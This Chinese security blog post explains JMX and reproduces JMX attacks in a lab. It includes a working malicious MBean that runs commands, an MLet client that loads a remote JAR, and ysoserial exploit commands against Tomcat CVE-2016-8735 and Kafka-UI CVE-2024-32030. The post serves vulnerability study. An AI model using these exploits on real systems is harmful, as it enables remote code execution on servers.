当前位置: 首页 > news >正文

JMX 反序列化漏洞

前言

前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。

JMX 基础

JMX 前置知识

JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。

可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。

JMXStructure

JMX 的结构一共分为三层:

1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。

  • standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
  • dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。
    2、适配层:MBeanServer,主要是提供对资源的注册和管理。
    3、接入层:Connector,提供远程访问的入口。

JMX 基础代码实践

以下代码实现简单的 JMX demo,文件结构

├── HelloWorld.java  
├── HelloWorldMBean.java  
└── jmxDemo.java

HelloWorldMBean.java

package org.example;public interface HelloWorldMBean {public void sayhello();public int add(int x, int y);public String getName();
}

HelloWorld.java

package org.example;public class HelloWorld implements HelloWorldMBean{private String name = "Drunkbaby";@Overridepublic void sayhello() {System.out.println("hello world" + this.name);}@Overridepublic int add(int x, int y) {return x + y;}@Overridepublic String getName() {return this.name;}
}

jmxDemo.java

package org.example;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jmxDemo {public static void main(String[] args) throws Exception{MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();ObjectName mbsName = new ObjectName("test:type=HelloWorld");HelloWorld mbean = new HelloWorld();mBeanServer.registerMBean(mbean, mbsName);// 创建一个 RMI RegistryRegistry registry = LocateRegistry.createRegistry(1099);// 构造 JMXServiceURL,绑定创建的 RMIJMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");// 构造JMXConnectorServer,关联 mbserverJMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println("JMXConnectorServer is ready");System.out.println("press any key to exit.");System.in.read();}
}

其中

  • Probe Level:创建了 HelloWorldMBean 实例 mbean
  • Agent Level:创建了 MBeanServer 实例 mbs
  • Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs

JMX 安全问题

JMX 的安全问题主要发生在以下三处

1、jmx
2、mbean
3、rmi

其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。

Mlet

Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。

攻击过程:

  1. 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
  2. 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
  3. 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
  4. JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
  5. 攻击者最终调用来自恶意 MBean 的方法
  • 下面我们来编写一个漏洞实例。
Evil MBean

文件结构

├── Evil.java
└── EvilMBean.java

EvilMBean.java

package com.drunkbaby.mlet;  public interface EvilMBean {  public String runCommand(String cmd);  
}

Evil.java

package com.drunkbaby.mlet;  import java.io.BufferedReader;  
import java.io.InputStreamReader;  public class Evil implements EvilMBean  
{  public String runCommand(String cmd)  {  try {  Runtime rt = Runtime.getRuntime();  Process proc = rt.exec(cmd);  BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));  BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));  String stdout_err_data = "";  String s;  while ((s = stdInput.readLine()) != null)  {  stdout_err_data += s+"\n";  }  while ((s = stdError.readLine()) != null)  {  stdout_err_data += s+"\n";  }  proc.waitFor();  return stdout_err_data;  }  catch (Exception e)  {  return e.toString();  }  }  
}
Mlet Server

将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html

<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

整体结构如图

JMXJar.png

Attack Code

ExploitJMXByRemoteMBean.java

package com.drunkbaby.mlet;  import javax.management.MBeanServerConnection;  
import javax.management.ObjectInstance;  
import javax.management.ObjectName;  
import javax.management.remote.JMXConnector;  
import javax.management.remote.JMXConnectorFactory;  
import javax.management.remote.JMXServiceURL;  
import java.net.MalformedURLException;  
import java.util.HashSet;  
import java.util.Iterator;  public class ExploitJMXByRemoteMBean {  public static void main(String[] args) {  try {  
//            connectAndOwn(args[0], args[1], args[2]);  connectAndOwn("localhost","1099","open -a Calculator");  } catch (Exception e) {  e.printStackTrace();  }  }  static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {  try {  // step1. 通过rmi创建 jmx连接  JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");  System.out.println("URL: " + u + ", connecting");  JMXConnector c = JMXConnectorFactory.connect(u);  System.out.println("Connected: " + c.getConnectionId());  MBeanServerConnection m = c.getMBeanServerConnection();  // step2. 加载特殊MBean:javax.management.loading.MLet  ObjectInstance evil_bean = null;  ObjectInstance evil = null;  try {  evil = m.createMBean("javax.management.loading.MLet", null);  } catch (javax.management.InstanceAlreadyExistsException e) {  evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));  }  // step3:通过MLet加载远程恶意MBean  System.out.println("Loaded "+evil.getClassName());  Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]  { "http://localhost:4141/evil.html"},  new String[] { String.class.getName() } );  HashSet res_set = ((HashSet)res);  Iterator itr = res_set.iterator();  Object nextObject = itr.next();  if (nextObject instanceof Exception)  {  throw ((Exception)nextObject);  }  evil_bean = ((ObjectInstance)nextObject);  // step4: 执行恶意MBean  System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());  System.out.println("Calling runCommand with: "+command);  Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });  System.out.println("Result: "+result);  } catch (Exception e)  {  e.printStackTrace();  }  }  
}

mletCalc.png

很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

JMX 反序列化漏洞

在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题

JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

漏洞描述

这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。

  • 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本

Apache Tomcat 9.0.0.M1 - 9.0.0.M11
Apache Tomcat 8.5.0 - 8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47

环境搭建

https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735

需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。

漏洞复现
  • 漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"

JMXRce.png

漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer

try {  RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);  cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());  cs.start();  registry.bind("jmxrmi", server);  log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));  
} catch (AlreadyBoundException | IOException var15) {  log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);  
}

很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发

同样这里其实也是用 RMI 协议来打的。

利用 Mlet 的方式动态加载 MBean

这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。

而 JMX 调用远程 MBean 方法有以下流程:

1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。
2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。

所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean

package ysoserial.exploit;import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;import ysoserial.payloads.ObjectPayload.Utils;/** Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.* */
public class JMXInvokeMBean {public static void main(String[] args) throws Exception {if ( args.length < 4 ) {System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");System.exit(-1);}JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");JMXConnector jmxConnector = JMXConnectorFactory.connect(url);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();// create the payloadObject payloadObject = Utils.makePayloadObject(args[2], args[3]);   ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});//close the connectionjmxConnector.close();}
}

我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。

当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/

漏洞描述

Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。
CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。

影响版本

Kafka-UI <= 0.7.1

环境搭建

Kafka-UI 的 docker

version: '3.8'services:kafka-ui:image: provectuslabs/kafka-ui:v0.7.1container_name: kafka-uienvironment:- DYNAMIC_CONFIG_ENABLED=true- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005ports:- "8080:8080"- "5005:5005"

Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了

version: '2'services:zookeeper:image: zookeeperrestart: alwaysports:- "2181:2181"container_name: zookeeperkafka:image: wurstmeister/kafkarestart: alwaysports:- "9092:9092"- "9094:9094"depends_on:- zookeeperenvironment:KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSLKAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXTcontainer_name: kafka
漏洞复现

使用 ysoserial 直接打,起一个恶意的 JMX 服务。

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

开启了之后,使用 Kafka-UI 去连接该 JMX

Kafka-JMX.png

第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。

服务器接收到恶意的请求

receiveJMX.png

随后第二步直接使用 CC 链打。

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

攻击成功

rcesuccess.png

漏洞分析

通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo

最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法

retrieveSync.png

后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。

这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。

相关文章:

JMX 反序列化漏洞

前言 前段时间看到普元 EOS Platform 爆了这个洞&#xff0c;Apache James&#xff0c;Kafka-UI 都爆了这几个洞&#xff0c;所以决定系统来学习一下这个漏洞点。 JMX 基础 JMX 前置知识 JMX&#xff08;Java Management Extensions&#xff0c;即 Java 管理扩展&#xff0…...

【Qt】常用控件 Q widget的enabled属性,geometry属性

Qt是一个实现图形化程序的程序。为了便于我们开发&#xff0c;Qt为我们提供了许多“控件”。我们需要熟悉并掌握这些控件的使用。 一.什么是控件 控件是构成⼀个图形化界⾯的基本要素. 示例一&#xff1a; 像上述⽰例一中的,按钮,列表视图,树形视图,单⾏输⼊框,多⾏输⼊框,滚动…...

Unity3d开发google chrome的dinosaur游戏

游戏效果 游戏中&#xff1a; 游戏中止&#xff1a; 一、制作参考 如何制作游戏&#xff1f;【15分钟】教会你制作Unity小恐龙游戏&#xff01;新手15分钟内马上学会&#xff01;_ unity教学 _ 制作游戏 _ 游戏开发_哔哩哔哩_bilibili 二、图片资源 https://download.csdn.…...

【数据分享】2013-2022年我国省市县三级的逐日SO2数据(excel\shp格式\免费获取)

空气质量数据是在我们日常研究中经常使用的数据&#xff01;之前我们给大家分享了2000——2022年的省市县三级的逐日PM2.5数据和2013-2022年的省市县三级的逐日CO数据&#xff08;均可查看之前的文章获悉详情&#xff09;&#xff01; 本次我们分享的是我国2013——2022年的省…...

【玩转C语言】第五讲--->数组-->一维和多维深度理解

&#x1f525;博客主页&#x1f525;&#xff1a;【 坊钰_CSDN博客 】 欢迎各位点赞&#x1f44d;评论✍收藏⭐ 引言&#xff1a; 大家好&#xff0c;我是坊钰&#xff0c;为了让大家深入了解C语言&#xff0c;我开创了【玩转C语言系列】&#xff0c;将为大家介绍C语言相关知识…...

Apache Flink 任务提交模式

Flink 任务提交模式 Flink可以基于多种模式部署&#xff1a;基于Standalone 部署模式&#xff0c;基于Yarn部署模式&#xff0c;基于Kubernetes部署模式以上不同集群部署模式下提交Flink任务会涉及申请资源&#xff0c;各角色交互过程&#xff0c;不同模式申请资源涉及到的角色…...

Ubuntu22.04安装OMNeT++

一、官网地址及安装指南 官网地址&#xff1a;OMNeT Discrete Event Simulator 官网安装指南&#xff08;V6.0.3&#xff09;&#xff1a;https://doc.omnetpp.org/omnetpp/InstallGuide.pdf 官网下载地址&#xff1a;OMNeT Downloads 旧版本下载地址&#xff1a;OMNeT Old…...

Matlab课程设计——手指静脉识别项目

手指静脉识别项目 项目方案设计介绍 本项目实现手指图像的处理和匹配算法&#xff0c;需要处理的数据是本人不同手指的图像&#xff0c;首先经过图像处理&#xff0c;使得指静脉的纹理增强凸显处理&#xff0c;然后将所有的这些图像进行相互间的匹配&#xff0c;检验类内和类…...

centos软件安装

安装方式 一、二进制安装 --解压即用&#xff0c;只针对特殊平台 --jdk tomcat 二、RPM&#xff1a;按照一定规范安装软件&#xff0c;无法安装依赖的文件 --mysql 三、yum&#xff1a;远程安装基于RPM&#xff0c;把依赖的文件安装上去&#xff0c;需要联网 四、源码安装 jdk安…...

力扣 217. 存在重复元素,389. 找不同,705. 设计哈希集合,3. 无重复字符的最长子串,139. 单词拆分

217. 存在重复元素 题目 给你一个整数数组 nums 。如果任一值在数组中出现 至少两次 &#xff0c;返回 true &#xff1b;如果数组中每个元素互不相同&#xff0c;返回 false 。 AC代码 class Solution { public:bool containsDuplicate(vector<int>& nums) {// …...

嵌入式软件工作能力

1. 工作能力 技术能力强&#xff0c;并不代表工作能力 2. 流程把控 3. 项目管理 4. “找茬”能力 5. 文档输出能力...

景区导航导览系统:基于AR技术+VR技术的功能效益全面解析

在数字化时代背景下&#xff0c;游客对旅游体验的期望不断提升。游客们更倾向于使用手机作为旅行的贴身助手&#xff0c;不仅因为它能提供实时、精准的导航服务&#xff0c;更在于其融合AR&#xff08;增强现实&#xff09;、VR&#xff08;虚拟现实&#xff09;等前沿技术&…...

Mybatis-Plus代码生成器配置方法

Mybatis-Plus网址&#xff1a;https://baomidou.com/pages/779a6e/#%E4%BD%BF%E7%94%A8 第一步&#xff1a;引入依赖 <!-- 代码生成器 --> <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-generator</artifactId>…...

三主机部署HP Anyware Manager服务

一、序言 在部署拓扑和方案方面&#xff0c;HP Anyware Manager 非常灵活&#xff0c;可以部署在单个主机中&#xff0c;也可以部署在多个主机中&#xff0c;具体取决于组织的网络环境和运营要求。 二、单主机部署 2.1 描述 此部署配置是当 Anyware Manager 和 MongoDB 以及…...

Grafana :利用Explore方式实现多条件查询

背景 日志统一推送到Grafana上管理。所以&#xff0c;有了在Grafana上进行日志搜索的需求&#xff0c;而进行日志搜索通常需要多条件组合。 解决方案 通过Grafana的Explore的方式实现多条件查询。 直接看操作步骤&#xff1a; 在主页搜索框中输入“Explore” 进入这个界面…...

腾讯技术创作特训营 -- SUPERWINNIE -- AI重塑社交内容

目录 1 什么是AI社交内容 2 案例拆解 3 用LLM做爆文选题 4 用LLM出爆文脚本提示词 1 什么是AI社交内容 任何一个因素被AI取代都是AI社交内容 2 案例拆解 数字人 资讯素材 录屏产品的素材&#xff08;小红书测试AI产品&#xff09; 脚本 素材 剪辑 3 用LLM做爆文选题 &…...

AV1技术学习: Compound Prediction

一、双向 Compound Prediction AV1支持两个参考帧的预测通过多种复合模式线性组合。复合预测公式为 其中&#xff0c;权重m(x, y) is scaled by 64 以进行整数计算&#xff0c;R1(x, y)和R2(x, y)表示两个参考块中位于(x, y)的像素。P(x, y)将按比例缩小 1/64 以形成最终的预测…...

watch监听vue2与vue3的写法

watch的属性值 handler:回调函数, 即监听到变化时应该执行的函数&#xff0c;可以是单独的函数或带有 immediate 和 deep 属性的对象watch: {someProperty: function(newVal, oldVal) {// 处理逻辑}}deep: 其值是true或false, 当属性值是对象或数组时&#xff0c;深度观察会监…...

docker搭建普罗米修斯监控gpu

ip8的服务器监控ip110和ip111的服务器 被监控的服务器110和111只需要安装node-export和nvidia-container-toolkit 下载镜像包 docker pull prom/node-exporter docker pull prom/prometheus docker pull grafana/grafana新建目录 mkdir /opt/prometheus cd /opt/prometheus/…...

像 MvvmLight 一样使用 CommunityToolkit.Mvvm 工具包

文章目录 简介一、安装工具包二、实现步骤1.按照MvvmLight 的结构创建对应文件夹和文件2.编辑 ViewModelLocator3.引用全局资源二、使用详情1.属性2.命令3. 消息通知4. 完整程序代码展示运行结果简介 CommunityToolkit.Mvvm 包(又名 MVVM 工具包,以前称为 Microsoft.Toolkit…...

python入门课程Pro(2)--循环

循环 第1课 for循环的基本操作1.循环2.遍历3.for 循环遍历字典&#xff08;1&#xff09; 遍历字典的键(2)遍历字典的值(3)遍历字典的键和值 4.练习题&#xff08;1&#xff09;班级成绩单&#xff08;2&#xff09;最出名的城市&#xff08;3&#xff09;修改成绩&#xff08;…...

今日总结:雪花算法,拉取在线用户

雪花算法&#xff1a; public class SnowflakeIdGenerator {private final long epoch 1626804000000L; // 定义起始时间戳&#xff0c;这里设置为2021-07-21 00:00:00 UTCprivate final long workerIdBits 5L; // 机器ID所占的位数private final long sequenceBits 10L; /…...

前瞻断言与后瞻断言:JavaScript 正则表达式的秘密武器

JavaScript 中的前瞻断言&#xff08;lookahead&#xff09;和后瞻断言&#xff08;lookbehind&#xff09;相信用过的小伙伴就知道它的威力了&#xff0c;在一些特定的需求场景下&#xff0c;可以做到四两拨千斤的作用&#xff0c;今天让我们来盘点一下在 JavaScript 正则表达…...

昇思MindSpore学习总结十六 —— 基于MindSpore的GPT2文本摘要

1、mindnlp 版本要求 !pip install tokenizers0.15.0 -i https://pypi.tuna.tsinghua.edu.cn/simple # 该案例在 mindnlp 0.3.1 版本完成适配&#xff0c;如果发现案例跑不通&#xff0c;可以指定mindnlp版本&#xff0c;执行!pip install mindnlp0.3.1 !pip install mindnlp …...

React Router 6笔记

一个路由就是一个映射关系 key为路径&#xff0c;value可能是function或component 路由分类 后端路由&#xff08;node&#xff09; value是function&#xff0c;用来处理客户端提交的请求注册路由&#xff1a;router.get(path, function(req, res))工作过程&#xff1a;当…...

Android init 中的wait_for_property指令

Android开机优化系列文档-CSDN博客 Android 14 开机时间优化措施汇总-CSDN博客Android 14 开机时间优化措施-CSDN博客根据systrace报告优化系统时需要关注的指标和优化策略-CSDN博客Android系统上常见的性能优化工具-CSDN博客Android上如何使用perfetto分析systrace-CSDN博客A…...

智能合约语言(eDSL)—— 并行化方案——调度算法

3、调度算法 处理区块的时候,我们会同时启动多个线程去执行多个交易,这个时候我们需要一个良好的调度策略,来决定当前的线程是应该执行交易还是验证交易、提前结束还是立刻重新执行交易等,只有有一个良好调度策略才能保证所有交易都稳定有序的执行; 线程数量 这是一个不…...

vue2.0中如何实现数据监听

vue2中实现数据监听的原理 在Vue 2中&#xff0c;数据监听是通过ES5的Object.defineProperty实现的。Vue在初始化数据对象时&#xff0c;会遍历data对象&#xff0c;并使用Object.defineProperty为每个属性设置getter和setter。当你尝试读取或修改数据属性时&#xff0c;这些g…...

kafka开启kerberos和ACL

作者&#xff1a;恩慈 一、部署kafka-KB包 1&#xff0e;上传软件包 依次点击 部署中心----部署组件----上传软件包 选择需要升级的kafka版本并点击确定 2&#xff0e;部署kafka 依次点击部署中心----部署组件----物理/虚拟机部署----选择集群----下一步 选择手动部署-…...

QT+winodow 代码适配调试总结(三)

问题描述: 1、开发测试环境为: A: window10 64位 B: QT版本为4.8.6 C:采用VS2017 C++ Compiler 9.0 (x86)编译器版本 根据总结(二)经验,开发环境的可执行程序显示正常; 2、新的环境运行的时候显示乱码; 经过查阅资料,还是代码环境编码配置的问题,下面为解…...

禁止指定ip访问网站/开一个网站需要多少钱

LinuxShell col命令 Linux col命令用于过滤控制字符。 在许多UNIX说明文件里&#xff0c;都有RLF控制字符。当我们运用shell特殊字符">“和”>>"&#xff0c;把说明文件的内容输出成纯文本文件时&#xff0c;控制字符会变成乱码&#xff0c;col指令则能有…...

备案上个人网站和企业网站的区别/学seo哪个培训好

OA实施方法论团队建设​项目经理的人选要求是具备一定软件技术的、更强调非技术方面的顾问咨询、项目管理的综合素质很强的人才。有效控制项目质量、项目进度、带领团队成功完成项目实施&#xff0c;是九思软件项目经理的职责&#xff0c;而不是合同签订下来&#xff0c;派个会…...

做衬衣的网站/百度手机软件应用中心

点击查看&#xff1a;基于Matlab蚁群算法三维路径规划 文件大小&#xff1a;1.85M 源码说明&#xff1a;带中文注释 开发环境&#xff1a;Matlab2016、2018 简要概述 基于Matlab蚁群算法三维路径规划&#xff0c;可以自动寻找最佳路径...

wordpress中文视频教程/站长工具seo综合查询论坛

text-shadow文本阴影 微信小程序交流群&#xff1a;111733917 | 微信小程序从0基础到就业的课程&#xff1a;https://edu.csdn.net/topic/huangjuhua 基础用法 在 CSS3 中&#xff0c;text-shadow 属性向文本添加一个或多个阴影。该属性是逗号分隔的阴影列表&#xff0c;每个…...

知名网站建设托管/seo优化教程自学

我们预想中的完整 PCB 通常都是规整的矩形形状。虽然大多数设计确实是矩形的&#xff0c;但是很多设计都需要不规则形状的电路板&#xff0c;而这类形状往往不太容易设计。本文介绍了如何设计不规则形状的 PCB。如今&#xff0c;PCB 的尺寸在不断缩小&#xff0c;而电路板中的功…...

php+ajax网站开发典型实例pdf/网络营销是什么专业

http://blog.csdn.net/fakine/article/details/7517417/ 1. 使用库函数 string.h strstr函数 函数名: strstr 功 能: 在串中查找指定字符串的第一次出现 用 法: char *strstr(char *str1, char *str2); 说明&#xff1a;返回指向第一次出现str2位置的指针&#xff0c;如果…...